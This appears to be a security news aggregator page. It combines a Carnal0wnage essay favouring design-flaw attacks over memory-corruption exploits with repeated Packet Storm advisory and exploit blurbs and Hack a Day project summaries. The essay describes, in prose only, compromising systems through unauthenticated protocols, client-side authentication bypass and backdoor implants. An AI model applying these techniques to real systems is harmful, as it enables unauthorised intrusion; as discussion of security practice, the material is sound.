14:07
»
Carnal0wnage
I remember many years ago writing my first buffer overflow, a standard stack bug privilege escalation in I think RedHat 7x which I thought was awesome. I remember writing my first SEH overwrite on windows and marveling at POP POP RET's and spending hours pouring through memory in Windbg wondering why my shellcode was getting trashed. I even remember the moment when I "got" return to libc. Somewhat in contrast to many "researcher" exploit developers and bug hunters, I also break into computers, lots of them. At last count I was well over the 100,000 mark of computers I have personally gotten into, control over and extracted data from. This is not to tell you how awesome I think I am (I'm not, there are IRC script kiddies with 10x the amount of compromises under their belt) but rather provide a statistical frame of reference for what I am going to say next.
Several years ago I decided to pull back from the memory corruption rat race, but I never really talked about why.
When breaking into computers, I almost never use memory corruption bugs. I occasionally, but rarely develop new memory corruption bugs into exploits. Memory corruption bugs IMO are a bad long term return on investment. Sure someone like Charlie Miller can crank out 100 Adobe product crashes in the blink of an eye, but how much skilled time investment is required to take a bug from a crash to a highly reliable, continuation of execution, ASLR / DEP bypassing exploit ready for serious use? Average numbers I have heard from friends who do this all day long are 1 - 3 months, with 6 months for particularly sticky bugs. How many people are there that can do this? Not many. So you have a valuable resource tied up for months at a time to produce a bug which may get discovered and published in the interm ( a process you have no real control over), patched and killed. When was the last time you heard about a really bitchin Windows 7 64bit remote? Its been a while. So you put in all that time and investment to produce a nice 0day only to watch it get killed. Then you start looking for the next one. What's the going price on the market for an 0day? 100k, 200k, etc. Expensive for something with a potentially limited life putting aside that fact that people don't patch anyway for a moment.
So what do I like instead then? I like design flaws that are integral to the way a system works and are extremely costly to fix, that don't barf a bunch of shellcode across a potentially IDS/IPS ridden wire, that simply take advantage of the way things are supposed to work anyway. Lest you think I spend all my time keylogging "password123" let me give some real world examples:
- Proprietary & custom hardware/OS and software system used for some interesting applications. System has a UDP listening service. After reversing the service binary we discovered that it takes a cleartext, unauthenticated protocol blob. The process then, based on whats in the blob, calls another process that execs a variety of system commands. One of these commands sends out a message to the various systems in the network to mount a given network file system and load specified software. So we craft our own protocol blobs build our own network file system with specially crafted malicious software and take over all the systems at once. We spoke with the designers of the system about what it would take to change it, and due to various rules and policies we were looking at 18-24 months to push out a redesign, and thats after whatever time was needed to develop the new system.
- Foreign Client/Server ERP system that handles supply chain and even has some tie ins with some SCADA components. Authentication works as follows: Client enters a username and password. Client app connects to the server and sends an authentication request with the provided Username. The server checks to see if the username exists and if so it sends a hash of the user's password back to the client app. The client app checks to see if the local password hash matches the one sent from the server and if it matches the client informs the server the the account is valid and the server then successfully authenticates the client. So yes, very broken client side authentication. But to figure that out we had to analyse the network traffic between the two as well as reverse engineer the client application and binary patch the client app to always respond with a positive match. And the data or effects gained from compromising this system are way more interesting than your windows 7 home gaming system.
- Large company virtualization cluster using hardware from a well known vendor. Servers provide remote console / kvm functionality for management. Because of a previously unknown authentication vulnerability in the remote console app we were able to boot the server to remote media under our control (i.e. a linux boot disk). We had reverse engineered the virtualization technology in question and developed a custom backdoor which we then implanted by mounting the hard drive from our remotly loaded linux boot environment, allowing us to take control of the cluster.
With the exception of the last server reboot none of these above examples generated any traffic or logs that were flagged by any security system. No IDS or AV to evade. No DEP or ASLR to get around. And low chance of these bugs getting killed due to the cost and time frame involved in fixing them.
I believe that researchers should consider putting some of their time and resources into the above types of design flaws as well as in sophisticated post-exploitation activities. The market value for memory corruption bugs will go up for a while but so will the difficulty and time required to find them, and we have often seen patch release times decrease as well. Eventually that bubble will burst.
V.
-
-
12:13
»
Packet Storm Security Exploits
This Metasploit module allows remote attackers to execute arbitrary commands on the affected system by abusing a directory traversal attack when using the 'xf' command (execute function). An attacker can execute system() from msvcrt.dll to upload a backdoor and gain remote code execution.
-
12:13
»
Packet Storm Security Recent Files
This Metasploit module allows remote attackers to execute arbitrary commands on the affected system by abusing a directory traversal attack when using the 'xf' command (execute function). An attacker can execute system() from msvcrt.dll to upload a backdoor and gain remote code execution.
-
12:13
»
Packet Storm Security Misc. Files
This Metasploit module allows remote attackers to execute arbitrary commands on the affected system by abusing a directory traversal attack when using the 'xf' command (execute function). An attacker can execute system() from msvcrt.dll to upload a backdoor and gain remote code execution.
-
-
8:01
»
Hack a Day
[Dimitris] decided to build a homemade alarm system, but instead of triggering a siren, sending an SMS message, or Tweeting about an intrusion, he preferred that his system call him when there was trouble afoot. He says that he preferred a call over text messaging because there are no charges associated with the call if [...]
-
-
14:25
»
Packet Storm Security Advisories
Red Hat Security Advisory 2011-1241-01 - eCryptfs is a stacked, cryptographic file system. It is transparent to the underlying file system and provides per-file granularity. eCryptfs is released as a Technology Preview for Red Hat Enterprise Linux 5 and 6. The setuid mount.ecryptfs_private utility allows users to mount an eCryptfs file system. This utility can only be run by users in the "ecryptfs" group. A race condition flaw was found in the way mount.ecryptfs_private checked the permissions of a requested mount point when mounting an encrypted file system. A local attacker could possibly use this flaw to escalate their privileges by mounting over an arbitrary directory.
-
14:25
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2011-1241-01 - eCryptfs is a stacked, cryptographic file system. It is transparent to the underlying file system and provides per-file granularity. eCryptfs is released as a Technology Preview for Red Hat Enterprise Linux 5 and 6. The setuid mount.ecryptfs_private utility allows users to mount an eCryptfs file system. This utility can only be run by users in the "ecryptfs" group. A race condition flaw was found in the way mount.ecryptfs_private checked the permissions of a requested mount point when mounting an encrypted file system. A local attacker could possibly use this flaw to escalate their privileges by mounting over an arbitrary directory.
-
14:25
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-1241-01 - eCryptfs is a stacked, cryptographic file system. It is transparent to the underlying file system and provides per-file granularity. eCryptfs is released as a Technology Preview for Red Hat Enterprise Linux 5 and 6. The setuid mount.ecryptfs_private utility allows users to mount an eCryptfs file system. This utility can only be run by users in the "ecryptfs" group. A race condition flaw was found in the way mount.ecryptfs_private checked the permissions of a requested mount point when mounting an encrypted file system. A local attacker could possibly use this flaw to escalate their privileges by mounting over an arbitrary directory.
-
-
7:25
»
Packet Storm Security Recent Files
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
7:25
»
Packet Storm Security Tools
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
7:25
»
Packet Storm Security Misc. Files
Sagan is multi-threaded, real-time system- and event-log monitoring software, but with a twist. Sagan uses a "Snort" like rule set for detecting nefarious events happening on your network and/or computer systems. If Sagan detects a "bad thing" happening, it can do a number of things with that information. Sagan can also correlate the events with your Intrusion Detection/Intrusion Prevention (IDS/IPS) system and basically acts like an SIEM (Security Information and Log Management) system.
-
-
9:41
»
Packet Storm Security Exploits
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input.
-
9:41
»
Packet Storm Security Recent Files
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input.
-
9:41
»
Packet Storm Security Misc. Files
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input.
-
9:40
»
Packet Storm Security Exploits
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input.
-
9:40
»
Packet Storm Security Recent Files
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input.
-
9:40
»
Packet Storm Security Misc. Files
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input.
-
17:04
»
Packet Storm Security Advisories
Ubuntu Security Notice 1193-1 - Timo Warns discovered that the GUID partition parsing routines did not correctly validate certain structures. A local attacker with physical access could plug in a specially crafted block device to crash the system, leading to a denial of service. Phil Oester discovered that the network bonding system did not correctly handle large queues. On some systems, a remote attacker could send specially crafted traffic to crash the system, leading to a denial of service. Various other issues were also addressed.
-
17:04
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1193-1 - Timo Warns discovered that the GUID partition parsing routines did not correctly validate certain structures. A local attacker with physical access could plug in a specially crafted block device to crash the system, leading to a denial of service. Phil Oester discovered that the network bonding system did not correctly handle large queues. On some systems, a remote attacker could send specially crafted traffic to crash the system, leading to a denial of service. Various other issues were also addressed.
-
17:04
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1193-1 - Timo Warns discovered that the GUID partition parsing routines did not correctly validate certain structures. A local attacker with physical access could plug in a specially crafted block device to crash the system, leading to a denial of service. Phil Oester discovered that the network bonding system did not correctly handle large queues. On some systems, a remote attacker could send specially crafted traffic to crash the system, leading to a denial of service. Various other issues were also addressed.
-
17:01
»
Packet Storm Security Recent Files
The Linux kernel contains a vulnerability in the driver for Be file systems that may lead to a kernel oops via a corrupted Be file system. Kernel versions 2.4, 2.6, and 3.0 are affected.
-
17:01
»
Packet Storm Security Misc. Files
The Linux kernel contains a vulnerability in the driver for Be file systems that may lead to a kernel oops via a corrupted Be file system. Kernel versions 2.4, 2.6, and 3.0 are affected.
-
7:04
»
Hack a Day
Instructables user [Jan] likes to keep close tabs on his computer’s memory usage, but wanted something more interesting to look at than the standard resource manager. He preferred to have an external display available that would show his computer’s status with a quick glance, and thus this system monitor was born. His status panel contains [...]
-
-
21:35
»
Packet Storm Security Advisories
Secunia Security Advisory - SUSE has issued an update for the kernel. This fixes multiple weaknesses and vulnerabilities, which can be exploited by malicious, local users to disclose certain system information, bypass certain security restrictions, cause a DoS (Denial of Service), conduct session hijack attacks, and potentially gain escalated privileges, by malicious people to cause a DoS and potentially compromise a vulnerable system, and by malicious people with physical access to potentially compromise a vulnerable system.
-
14:01
»
Hack a Day
Whenever we get a tip claiming a project is cheap and easy we raise a cynical eyebrow. But [Yonsje] isn’t telling us a story, his Amiblight clone really does boil down the complexity and slash the price. For the uninitiated, this is a clone of the Philips Amilight system that has been an option with [...]
-
-
14:15
»
Hack a Day
We’ve been working hard on this one and finally made a tiny bit of progress. You will find that comments are now nested. We can see there are some slight visual issues, but we’re working on it. Please be patient with us. Another edition you will find is the “report” button. If you find comments [...]
-
-
0:06
»
Packet Storm Security Recent Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
0:06
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
19:56
»
Packet Storm Security Advisories
Red Hat Security Advisory 2011-1089-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. A race condition flaw was found in the way the staprun utility performed module loading. A local user who is a member of the stapusr group could use this flaw to modify a signed module while it is being loaded, allowing them to escalate their privileges. SystemTap users should upgrade to these updated packages, which contain a backported patch to correct this issue.
-
19:56
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2011-1089-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. A race condition flaw was found in the way the staprun utility performed module loading. A local user who is a member of the stapusr group could use this flaw to modify a signed module while it is being loaded, allowing them to escalate their privileges. SystemTap users should upgrade to these updated packages, which contain a backported patch to correct this issue.
-
19:56
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-1089-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. A race condition flaw was found in the way the staprun utility performed module loading. A local user who is a member of the stapusr group could use this flaw to modify a signed module while it is being loaded, allowing them to escalate their privileges. SystemTap users should upgrade to these updated packages, which contain a backported patch to correct this issue.
-
19:51
»
Packet Storm Security Advisories
Red Hat Security Advisory 2011-1088-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. It was found that SystemTap did not perform proper module path sanity checking if a user specified a custom path to the uprobes module, used when performing user-space probing . A local user who is a member of the stapusr group could use this flaw to bypass intended module-loading restrictions, allowing them to escalate their privileges by loading an arbitrary, unsigned module.
-
19:51
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2011-1088-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. It was found that SystemTap did not perform proper module path sanity checking if a user specified a custom path to the uprobes module, used when performing user-space probing . A local user who is a member of the stapusr group could use this flaw to bypass intended module-loading restrictions, allowing them to escalate their privileges by loading an arbitrary, unsigned module.
-
19:51
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-1088-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. It was found that SystemTap did not perform proper module path sanity checking if a user specified a custom path to the uprobes module, used when performing user-space probing . A local user who is a member of the stapusr group could use this flaw to bypass intended module-loading restrictions, allowing them to escalate their privileges by loading an arbitrary, unsigned module.
-
-
7:22
»
Packet Storm Security Advisories
Red Hat Security Advisory 2011-0975-01 - The System Security Services Daemon provides a set of daemons to manage access to remote directories and authentication mechanisms. It provides an NSS and PAM interface toward the system and a pluggable back-end system to connect to multiple different account sources. It is also the basis to provide client auditing and policy services for projects such as FreeIPA. A flaw was found in the SSSD PAM responder that could allow a local attacker to force SSSD to enter an infinite loop via a carefully-crafted packet. With SSSD unresponsive, legitimate users could be denied the ability to log in to the system.
-
7:22
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2011-0975-01 - The System Security Services Daemon provides a set of daemons to manage access to remote directories and authentication mechanisms. It provides an NSS and PAM interface toward the system and a pluggable back-end system to connect to multiple different account sources. It is also the basis to provide client auditing and policy services for projects such as FreeIPA. A flaw was found in the SSSD PAM responder that could allow a local attacker to force SSSD to enter an infinite loop via a carefully-crafted packet. With SSSD unresponsive, legitimate users could be denied the ability to log in to the system.
-
7:22
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-0975-01 - The System Security Services Daemon provides a set of daemons to manage access to remote directories and authentication mechanisms. It provides an NSS and PAM interface toward the system and a pluggable back-end system to connect to multiple different account sources. It is also the basis to provide client auditing and policy services for projects such as FreeIPA. A flaw was found in the SSSD PAM responder that could allow a local attacker to force SSSD to enter an infinite loop via a carefully-crafted packet. With SSSD unresponsive, legitimate users could be denied the ability to log in to the system.
-
-
9:01
»
Hack a Day
[John Ohno] has been working on a zzstructure operating system written C since January. [John] realizes not many people know what a zzstructure is, so he posted a demo of his project. [John] has also put all the code online. A zzstructure is both a hypertext and operating system unlike anything we have today. You [...]
-
-
15:23
»
Hack a Day
[Aaron Bitler] and [Bud Townsend] have been working a natural user system that is, in their own words, “what android@home should have been.” The video they posted is pretty impressive. The automation system responds to voice and can control appliances, ‘throw a party’, and provide a user with their location. This is just the foundation [...]
-
-
12:49
»
Hack a Day
Instructables user [willnue] wanted to build a DIY Tweeting alarm system from the ground up, but reconsidered after taking a close look at the scope of such a project. He settled on using an off the shelf security system, taking care of the Twitter interface on his own. He bought a GE 45142 Wireless alarm [...]
-
-
20:38
»
Packet Storm Security Advisories
Secunia Security Advisory - SUSE has issued an update for the kernel. This fixes multiple vulnerabilities, which can be exploited by malicious, local users to disclose certain sensitive and system information, bypass certain security restrictions, conduct session hijacking attacks, cause a DoS (Denial of Service), and potentially gain escalated privileges, by malicious people with physical access to potentially compromise a vulnerable system, and by malicious people to cause a DoS and potentially compromise a vulnerable system.
-
-
18:17
»
Packet Storm Security Advisories
Secunia Security Advisory - Debian has issued an update for linux-2.6. This fixes multiple weaknesses and vulnerabilities, which can be exploited by malicious, local users to conduct DNS cache poisoning attacks, disclose system information, disclose potentially sensitive information, bypass certain security restrictions, potentially gain escalated privileges, or cause a DoS (Denial of Service), by malicious people with physical access to potentially compromise a vulnerable system, and by malicious people to cause a DoS (Denial of Service) and potentially compromise a vulnerable system.
-
15:19
»
Packet Storm Security Recent Files
cryptmount is a utility for creating and managing secure filing systems on GNU/Linux systems. After initial setup, it allows any user to mount or unmount filesystems on demand, solely by providing the decryption password, with any system devices needed to access the filing system being configured automatically. A wide variety of encryption schemes (provided by the kernel dm-crypt system and the libgcrypt library) can be used to protect both the filesystem and the access key. The protected filing systems can reside in either ordinary files or disk partitions. The package also supports encrypted swap partitions, and automatic configuration on system boot-up.
-
15:19
»
Packet Storm Security Misc. Files
cryptmount is a utility for creating and managing secure filing systems on GNU/Linux systems. After initial setup, it allows any user to mount or unmount filesystems on demand, solely by providing the decryption password, with any system devices needed to access the filing system being configured automatically. A wide variety of encryption schemes (provided by the kernel dm-crypt system and the libgcrypt library) can be used to protect both the filesystem and the access key. The protected filing systems can reside in either ordinary files or disk partitions. The package also supports encrypted swap partitions, and automatic configuration on system boot-up.
-
-
7:10
»
Hack a Day
It looks like the world of Kinect hacks is about to get a bit more interesting. While many of the Kinect-based projects we see use one or two units, this 3D telepresence system developed by UNC Chapel Hill student [Andrew Maimone] under the guidance of [Henry Fuchs] has them all beat. The setup uses up [...]
-
-
23:09
»
Packet Storm Security Advisories
Red Hat Security Advisory 2011-0842-01 - SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system. Two divide-by-zero flaws were found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use these flaws to crash the system. Additionally, a privileged user could trigger these flaws when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled. Various other issues were also addressed.
-
23:09
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2011-0842-01 - SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system. Two divide-by-zero flaws were found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use these flaws to crash the system. Additionally, a privileged user could trigger these flaws when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled. Various other issues were also addressed.
-
23:09
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-0842-01 - SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system. Two divide-by-zero flaws were found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use these flaws to crash the system. Additionally, a privileged user could trigger these flaws when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled. Various other issues were also addressed.
-
23:04
»
Packet Storm Security Advisories
Red Hat Security Advisory 2011-0841-01 - SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system. A divide-by-zero flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled. Various other issues were also addressed.
-
23:04
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2011-0841-01 - SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system. A divide-by-zero flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled. Various other issues were also addressed.
-
23:04
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-0841-01 - SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system. A divide-by-zero flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled. Various other issues were also addressed.
-
16:01
»
Hack a Day
[Jad] recently wrote in to share a pair of projects that have been keeping him busy as of late. The first is a sound localization system not unlike one we showed you a few weeks ago. The difference is that his system displays the sound source via a set of LEDs rather than by motion, [...]
-
-
15:30
»
Hack a Day
For their senior ECE 4760 project, engineering students [Brian Harding and Cat Jubinski] put together a pretty impressive portable face recognition system called FaceAccess. The system relies on the eigenface method to help distinguish one user from another, a process that the pair carried out using MatLab. They say that the system only needs to [...]
-
-
8:06
»
Hack a Day
Embedded Labs has come out with a very detailed I2C 101 tutorial, that you should check out if you have any questions on the system. I2C is a short distance serial interface that only requires 2 bus lines. Keep in mind that as wires go down complexity goes up. While there are more than a [...]
-
-
14:45
»
Hack a Day
Hackaday reader [Oneironaut] wrote in to share a modular, portable security system he built for himself. He likes visiting the Caribbean, but his favorite vacation spot is apparently rife with cat burglars. He enjoys sleeping with the windows open and wanted to find a way to scare off ne’er do wells. At home, there are [...]
-
-
0:07
»
Packet Storm Security Advisories
Secunia Security Advisory - SUSE has issued an update for the kernel. This fixes multiple weaknesses and vulnerabilities, which can be exploited by malicious, local users to bypass certain security restrictions, disclose certain system and potentially sensitive information, cause a DoS (Denial of Service), and potentially gain escalated privileges, by malicious people with physical access to potentially compromise a vulnerable system and cause a DoS, and by malicious people to cause a DoS and potentially compromise a vulnerable system.
-
-
17:24
»
Packet Storm Security Exploits
A command injection vulnerability in Time and Expense Management System can be exploited to execute arbitrary operating system commands.
-
-
8:01
»
Hack a Day
It’s a few years old, but [Brian360's] method of unlocking the hard drive on his Mitsubishi Multi-Communication System is quite interesting. Mitsubishi describes their MMCS as a human-vehicle communication tool. It’s basically an in-dash screen and controls to display navigation maps and play music. [Brian] found that the hard drive for the MMCS in his [...]
-
-
23:29
»
Packet Storm Security Advisories
Secunia Security Advisory - SUSE has issued an update for the kernel. This fixes multiple vulnerabilities, which can be exploited by malicious, local users to disclose certain system information, bypass certain security restrictions, cause a DoS (Denial of Service), and potentially gain escalated privileges, by malicious people with physical access to potentially compromise a vulnerable system and cause a DoS, and by malicious people to cause a DoS and potentially compromise a vulnerable system.
-
-
20:53
»
Packet Storm Security Advisories
Secunia Security Advisory - Multiple vulnerabilities have been reported in HP System Management Homepage, which can be exploited by malicious users to compromise a vulnerable system and malicious people to bypass certain security restrictions, cause a DoS (Denial of Service), and potentially compromise a vulnerable system.
-
15:15
»
Hack a Day
[Chris] is quite the devoted tinkerer. He recently wrote in to share what can only be described as a labor of love. His Quad Delta Robot system has been in the works for about six years now, split into periods of research, building, more research, and rebuilding until arriving at its current form. The system [...]
-
-
16:01
»
Hack a Day
Instructables user [EngineeringShock] has been hard at work building a laser trip wire security system, complete with a combination lock. The security system works just like you see in the movies, employing an array of mirrors to bounce the laser across an opening several times in order to secure the space. A PIC18F1220 micro controller [...]
-
-
19:40
»
Packet Storm Security Advisories
Secunia Security Advisory - SUSE has issued an update for the kernel. This fixes multiple weaknesses and vulnerabilities, which can be exploited by malicious, local users to disclose certain system information, cause a DoS (Denial of Service), bypass certain security restrictions, and potentially gain escalated privileges, by malicious people with physical access to potentially compromise a vulnerable system and cause a DoS, and by malicious people to cause a DoS and potentially compromise a vulnerable system.
1337day (was: Inj3ct0r, 1337db)
OSVDB Vulnerabilities
Exploit-DB
Bugtraq
XSSed
Sophos security news
Penetration Testing
BackTrack Linux Forums
Threatpost
carnal0wnage.attackresearch.com
Darknet
The Exploitant
Wirevolution
